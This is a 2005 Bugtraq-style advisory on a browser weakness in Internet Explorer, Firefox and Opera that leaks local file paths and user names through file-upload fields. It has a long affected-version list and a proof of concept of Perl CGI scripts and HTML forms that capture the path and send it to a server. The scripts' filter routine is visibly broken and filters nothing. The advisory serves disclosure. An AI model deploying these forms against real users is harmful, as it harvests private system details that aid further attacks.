Multiple Browser Information Disclosure Weakness

BID:12723

Info

Multiple Browser Information Disclosure Weakness

Bugtraq ID: 12723
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Feb 19 2005 12:00AM
Updated: Feb 19 2005 12:00AM
Credit: Discovery is credited to upken. Additional details were provided by bitlance winter.
Vulnerable: Opera Software Opera Web Browser 7.54
Opera Software Opera Web Browser 7.53
Opera Software Opera Web Browser 7.52
Opera Software Opera Web Browser 7.51
Opera Software Opera Web Browser 7.50
Opera Software Opera Web Browser 7.23
Opera Software Opera Web Browser 7.22
Opera Software Opera Web Browser 7.21
Opera Software Opera Web Browser 7.20 Beta 1 build 2981
Opera Software Opera Web Browser 7.20
Opera Software Opera Web Browser 7.11 j
Opera Software Opera Web Browser 7.11 b
Opera Software Opera Web Browser 7.11
Opera Software Opera Web Browser 7.10
Mozilla Firefox 1.0.1
+ Redhat Fedora Core3
Mozilla Firefox 1.0
+ Gentoo Linux
+ Gentoo Linux
+ S.u.S.E. Linux Personal 9.2 x86_64
+ S.u.S.E. Linux Personal 9.2 x86_64
+ S.u.S.E. Linux Personal 9.2
+ S.u.S.E. Linux Personal 9.2
+ S.u.S.E. Linux Personal 9.1 x86_64
+ S.u.S.E. Linux Personal 9.1 x86_64
+ S.u.S.E. Linux Personal 9.1
+ S.u.S.E. Linux Personal 9.1
+ S.u.S.E. Linux Personal 9.0 x86_64
+ S.u.S.E. Linux Personal 9.0 x86_64
+ S.u.S.E. Linux Personal 9.0
+ S.u.S.E. Linux Personal 9.0
+ Slackware Linux 10.1
+ Slackware Linux 10.0
+ Slackware Linux 10.0
+ Slackware Linux 9.1
+ Slackware Linux 9.1
+ Slackware Linux -current
+ Slackware Linux -current
Mozilla Firefox 0.10.1
Mozilla Firefox 0.10
Mozilla Firefox 0.9.3
Mozilla Firefox 0.9.2
Mozilla Firefox 0.9.1
Mozilla Firefox 0.9 rc
Mozilla Firefox 0.9
Mozilla Firefox 0.8
Microsoft Internet Explorer 6.0 SP2 - do not use
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Terminal Services SP2
- Microsoft Windows 2000 Terminal Services SP2
- Microsoft Windows 2000 Terminal Services SP2
- Microsoft Windows 2000 Terminal Services SP1
- Microsoft Windows 2000 Terminal Services SP1
- Microsoft Windows 2000 Terminal Services SP1
- Microsoft Windows 2000 Terminal Services
- Microsoft Windows 2000 Terminal Services
- Microsoft Windows 2000 Terminal Services
- Microsoft Windows 98
- Microsoft Windows 98
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows 98SE
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows ME
- Microsoft Windows ME
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT Enterprise Server 4.0 SP6a
- Microsoft Windows NT Enterprise Server 4.0 SP6a
- Microsoft Windows NT Enterprise Server 4.0 SP6a
- Microsoft Windows NT Server 4.0 SP6a
- Microsoft Windows NT Server 4.0 SP6a
- Microsoft Windows NT Server 4.0 SP6a
- Microsoft Windows NT Terminal Server 4.0 SP6a
- Microsoft Windows NT Terminal Server 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6a
+ Microsoft Windows Server 2003 Datacenter Edition
+ Microsoft Windows Server 2003 Datacenter Edition
+ Microsoft Windows Server 2003 Datacenter Edition
+ Microsoft Windows Server 2003 Datacenter Edition Itanium 0
+ Microsoft Windows Server 2003 Datacenter Edition Itanium 0
+ Microsoft Windows Server 2003 Enterprise Edition
+ Microsoft Windows Server 2003 Enterprise Edition
+ Microsoft Windows Server 2003 Enterprise Edition
+ Microsoft Windows Server 2003 Enterprise Edition Itanium 0
+ Microsoft Windows Server 2003 Enterprise Edition Itanium 0
+ Microsoft Windows Server 2003 Enterprise Edition Itanium 0
+ Microsoft Windows Server 2003 Standard Edition
+ Microsoft Windows Server 2003 Standard Edition
+ Microsoft Windows Server 2003 Standard Edition
+ Microsoft Windows Server 2003 Web Edition
+ Microsoft Windows Server 2003 Web Edition
+ Microsoft Windows Server 2003 Web Edition
+ Microsoft Windows XP Home
+ Microsoft Windows XP Home
+ Microsoft Windows XP Home
+ Microsoft Windows XP Professional
+ Microsoft Windows XP Professional
+ Microsoft Windows XP Professional
Not Vulnerable:

Discussion

Multiple Browser Information Disclosure Weakness

Multiple browsers are reported prone to an information disclosure weakness. This issue can allow an attacker to determine information such as the location of files, file names and user names on a vulnerable computer. Information gathered through the exploitation of this weakness may aid in other attacks against the computer.

This weakness has been identified in Microsoft Internet Explorer, Mozilla Firefox, and Opera.

Exploit / POC

Multiple Browser Information Disclosure Weakness

The following proof of concept is available:

Targeting Internet Explorer:

server-side Perl CGI.(ask.cgi)
- ---------------------------
#!/usr/bin/perl
print "Content-Type: text/html\n\n";

die if $ENV{CONTENT_LENGTH} > 100*1024;

$objectname = "RFC1867";
$boundary = <STDIN>;
$boundary =~s /\r\n//;
while(<STDIN>){
if($_ =~ /$objectname/){
~s/\r\n//;
~s/"//g;
@dum = split(/filename=/, $_);
$rfc1867 = $dum[@dum - 1];
}
}
&Filtertxt( $rfc1867 );
print "$rfc1867\n";

exit(0);

sub Filtertxt {
local( $ft ) = @_;
$fd =~ s/[\<\>\"\'\%\;\)\(\&\+]//g;
return( $ft ) ;
}
- ---------------------------

client-side FORM.
- ---------------------------
<form name="XA" method="POST" enctype="multipart/form-data"
action="http://www.example.com/cgi-bin/ask.cgi">
<input type="file" name="RFC1867">
<input type="hidden" name="XB" value="HIDDEN">
<input type=submit value="Upload">
</form>

Targeting Internet Explorer and Opera:

server-side Perl CGI.(named ask2.cgi)
- ---------------------------
#!/usr/bin/perl

if($ENV{'REQUEST_METHOD'} eq 'POST'){
#reads inputted variables through POST
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
}
else{
#reads inputted variables through GET
$buffer = $ENV{'QUERY_STRING'};
}

#splits the variables at &
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
#sets the value and name of each var
($name, $value) = split(/=/, $pair);
#makes each + into a space
$value =~ tr/+/ /;
#URL decode
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
#filter out bad characters & # < > " '
$value = &Filtertxt( $value );
#sets the varibles in a hash
$FORM{$name} = $value;
}

#print html .
print "Content-Type: text/html\n";
print "\n";
print "$FORM{'XB'}\n";
print "<br>\n";
print "$FORM{'RFC1867'}\n";

exit(0);

sub Filtertxt {
local( $ft ) = @_;
$fd =~ s/[\<\>\"\'\%\;\)\(\&\+]//g;
return( $ft ) ;
}
- ---------------------------

client-side FORM.
- ---------------------------
<form name="XA" method="GET" enctype="multipart/form-data"
action="http://www.example.com/cgi-bin/ask2.cgi">
<input type="file" name="RFC1867">
<input type="hidden" name="XB" value="HIDDEN">
<input type=submit value="Upload">
</form>
- ---------------------------

Targeting Firefox, Internet Explorer and Opera:

server-side Perl CGI.(named ask2.cgi)
- ---------------------------
#!/usr/bin/perl

if($ENV{'REQUEST_METHOD'} eq 'POST'){
#reads inputted variables through POST
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
}
else{
#reads inputted variables through GET
$buffer = $ENV{'QUERY_STRING'};
}

#splits the variables at &
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
#sets the value and name of each var
($name, $value) = split(/=/, $pair);
#makes each + into a space
$value =~ tr/+/ /;
#URL decode
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
#filter out bad characters & # < > " '
$value = &Filtertxt( $value );
#sets the varibles in a hash
$FORM{$name} = $value;
}

#print html .
print "Content-Type: text/html\n";
print "\n";
print "$FORM{'XB'}\n";
print "<br>\n";
print "$FORM{'RFC1867'}\n";

exit(0);

sub Filtertxt {
local( $ft ) = @_;
$fd =~ s/[\<\>\"\'\%\;\)\(\&\+]//g;
return( $ft ) ;
}
- ---------------------------

client-side FORM.
- ---------------------------
<form name="XA" method="GET" enctype="multipart/form-data"
action="http://www.example.com/cgi-bin/ask2.cgi">
<input type="file" name="RFC1867">
<input type="hidden" name="XB" value="HIDDEN">
<input type=submit value="Upload"
onclick="document.XA.XB.value=document.XA.RFC1867.value;return true" >
</form>
- ---------------------------

Solution / Fix

Multiple Browser Information Disclosure Weakness

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Multiple Browser Information Disclosure Weakness

References:
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